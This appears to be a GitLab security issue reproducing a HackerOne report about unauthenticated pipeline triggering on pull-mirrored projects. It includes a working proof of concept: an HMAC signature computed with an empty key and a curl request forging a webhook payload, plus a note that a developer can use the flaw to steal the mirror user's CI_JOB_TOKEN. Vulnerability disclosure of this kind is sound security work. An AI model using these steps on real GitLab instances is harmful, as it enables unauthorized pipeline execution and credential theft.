Skip to content

Run pipelines on arbitrary branches on projects with mirroring configured without authentication

Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.

HackerOne report #2711204 by pwnie on 2024-09-10, assigned to GitLab Team:

Report | How To Reproduce

Report

Summary

Projects with pull mirroring configured are susceptible to pipelines being ran on arbitrary branches, even without authentication, as the user who configured mirroring. If you can push to the project (e.g. you are developer), you can steal the mirror user's CI_JOB_TOKEN. Pipeline configuration (for pull mirroring) does not have to be enabled either.

This is the commit that introduced the bug. Been around for 4 years.

8572eee7

It might seem as if the bug is falling back to mirror_user but it's actually the fact that web hook tokens are not configured for simply mirrored projects and only for projects strictly using the external CI/CD project feature when creating a new project. So those aren't vulnerable as the signature check will fail. However regularly mirrored projects have a nil web hook token.

Steps to reproduce

  1. Create a project (must have minimum premium Gitlab plan) and configure pull mirroring from any public Github project. You dont have to enable pipelines for pul updates. This works without it.
  2. Create a new branch named foobar
  3. Create example .gitlab-ci.yml:
job:  
  script:  
    - "echo foobar"  
  1. Open irb (ruby interactive interpreter) and execute the following:
signature    = 'sha1=' + OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('sha1'), '', '{"action": "opened", "  
pull_request": {"number": 123, "head": {"ref": "foobar", "sha": "REPLACE_WITH_LATEST_SHA", "repo": {"full_name":   
"username/source-repo"}}, "base": {"ref": "main", "sha": "REPLACE_WITH_LATEST_SHA", "repo": {"full_name": "usernam  
e/source-repo"}}}}')  

Before executing replace REPLACE_WITH_LATEST_SHA with the latest sha in your project (the .gitlab-ci.yml commit sha from foobar branch)
5. Execute the following command:

curl --header "X-Hub-Signature: PLACE_SHA1_HERE" --request POST \  
     --header "Content-Type: application/json" \  
     --data '{"action": "opened", "pull_request": {"number": 123, "head": {"ref": "foobar", "sha": "REPLACE_WITH_LATEST_SHA", "repo": {"full_name": "username/source-repo"}}, "base": {"ref": "main", "sha": "REPLACE_WITH_LATEST_SHA", "repo": {"full_name": "username/source-repo"}}}}' \  
     "https://gitlab.com/api/v4/projects/PROJECT_ID_HERE/mirror/pull"  

Replace REPLACE_WITH_LATEST_SHA, PROJECT_ID_HERE and PLACE_SHA1_HERE (e.g. sha1=bd6d6962e60d3fa7f55843e4030e48148466d5eb)
6. Notice a pipeline is running for foobar branch

Impact

Run pipelines as mirror user. No gitlab auth necessary. If dev role or above is held, steal mirror_user CI_JOB_TOKEN.

Components affected

Gitlab

Impact

Run pipelines as mirror user. No gitlab auth necessary. If dev role or above is held, steal mirror_user CI_JOB_TOKEN.

How To Reproduce

Please add reproducibility information to this section: